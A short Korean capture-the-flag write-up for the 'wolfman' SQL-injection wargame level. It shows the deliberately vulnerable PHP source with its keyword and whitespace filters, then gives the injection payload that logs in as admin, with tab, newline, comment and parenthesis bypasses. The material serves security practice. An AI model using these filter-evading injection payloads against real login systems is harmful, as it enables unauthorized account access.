728x90
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); //prob(또는 PROB), _, .,() 필터링
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); //스페이스바(공백) 필터링
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>
preg_match 첫 번째 인자 끝의 i는 대소문자 모두 포함이라는 의미다.
이 문제는 띄어쓰기를 우회해야한다.
답: ?pw='or%09id='admin
%09 대신 %0d, %0a, /**/ 모두 가능하다.
?pw='or(id)='admin 도 가능하다.
괄호가 구분해주는 역할을 한다.
728x90